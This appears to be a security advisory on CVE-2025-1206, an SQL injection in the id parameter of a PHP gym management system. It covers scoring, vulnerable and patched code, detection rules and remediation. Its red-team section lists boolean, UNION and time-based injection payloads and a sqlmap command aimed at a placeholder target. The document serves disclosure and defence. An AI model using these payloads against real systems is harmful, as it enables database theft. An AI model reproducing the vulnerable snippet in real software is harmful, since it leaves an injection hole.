CVE-2025-1206

Executive Summary

CVE-2025-1206 is a critical unauthenticated SQL injection vulnerability in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/viewdetailroutine.php file, where the id parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can remotely exploit this to extract, modify, or delete database contents, potentially leading to full administrative access and data compromise. The exploit has been publicly disclosed, increasing the risk of widespread scanning and attacks. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is in a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – ability to modify or delete data.
• Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. Public exploit code exists, and the vulnerability is trivial to exploit.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter of viewdetailroutine.php. The application likely constructs a SQL query similar to:

SELECT * FROM routines WHERE id = $_GET['id'];

Without input validation or prepared statements, an attacker can inject arbitrary SQL commands. For example, appending ' OR '1'='1 to the id parameter would return all routines, while ' UNION SELECT ... could extract credentials from other tables.

The application uses MySQL as its backend, and the injection point is in a GET parameter, making it easily exploitable via browser or automated tools.

Vulnerable vs. Patched Code

Vulnerable Code (viewdetailroutine.php):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM routines WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (Recommended):

<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM routines WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements and type casting to prevent injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Codezips Gym Management System 1.0.
• Network access to the /dashboard/admin/viewdetailroutine.php endpoint.

Exploit Steps:

1. Identify the vulnerable parameter: id.
2. Inject SQL payloads to enumerate the database.

Example Payloads:

• Basic boolean-based: http://target/dashboard/admin/viewdetailroutine.php?id=1' AND '1'='1
• Union-based to extract data: http://target/dashboard/admin/viewdetailroutine.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
• Time-based blind: http://target/dashboard/admin/viewdetailroutine.php?id=1' AND SLEEP(5)-- -

Automated Exploitation with sqlmap:

sqlmap -u "http://target/dashboard/admin/viewdetailroutine.php?id=1" --batch --dbs

Lab Setup:

• Download the application from Codezips (if available) or use a vulnerable Docker image.
• Set up a LAMP/LEMP stack with PHP and MySQL.
• Deploy the application and access the vulnerable endpoint.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for suspicious id parameter values containing SQL keywords (UNION, SELECT, SLEEP, OR, AND).
• Use WAF rules to block common SQL injection patterns.

Defense:

• Immediately apply input validation and prepared statements (see patched code).
• Restrict database user permissions to least privilege.
• Implement a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /dashboard/admin/viewdetailroutine.php with abnormal id parameter values (e.g., containing ', --, UNION, SLEEP).
  • Repeated requests with varying id values in a short time frame.
• File IOCs:
  • Unexpected files in the web root (e.g., shells, backdoors).
  • Modified application files (e.g., viewdetailroutine.php).
• Database IOCs:
  • Unauthorized queries in MySQL logs (e.g., SELECT * FROM users).
  • New or modified database users.

Detection Engineering

YARA Rule

rule CVE_2025_1206_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1206"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1206"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "SLEEP(" nocase
        $sqli5 = "--" nocase
    condition:
        all of ($sqli1, $sqli2) or all of ($sqli1, $sqli3) or all of ($sqli1, $sqli4) or all of ($sqli1, $sqli5)
}

Sigma Rule

title: SQL Injection Attempt Against viewdetailroutine.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-1206
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "id=' OR "
            - "id=1 UNION SELECT"
            - "id=1' AND SLEEP"
            - "id=1--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1206 SQL Injection Attempt"; flow:to_server; content:"/dashboard/admin/viewdetailroutine.php"; http_uri; content:"id="; http_uri; pcre:"/id=.*['\-\-]/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Disable the vulnerable endpoint if not essential.

Long-Term Fix:

• Rewrite the vulnerable code using prepared statements (see patched code example).
• Conduct a full security audit of the application.
• Contact Codezips for an official patch or consider migrating to a supported alternative.

Compensating Controls:

• Implement strict input validation (allow only numeric IDs).
• Use a database user with minimal privileges (read-only if possible).
• Enable detailed logging and monitoring.

Valters IT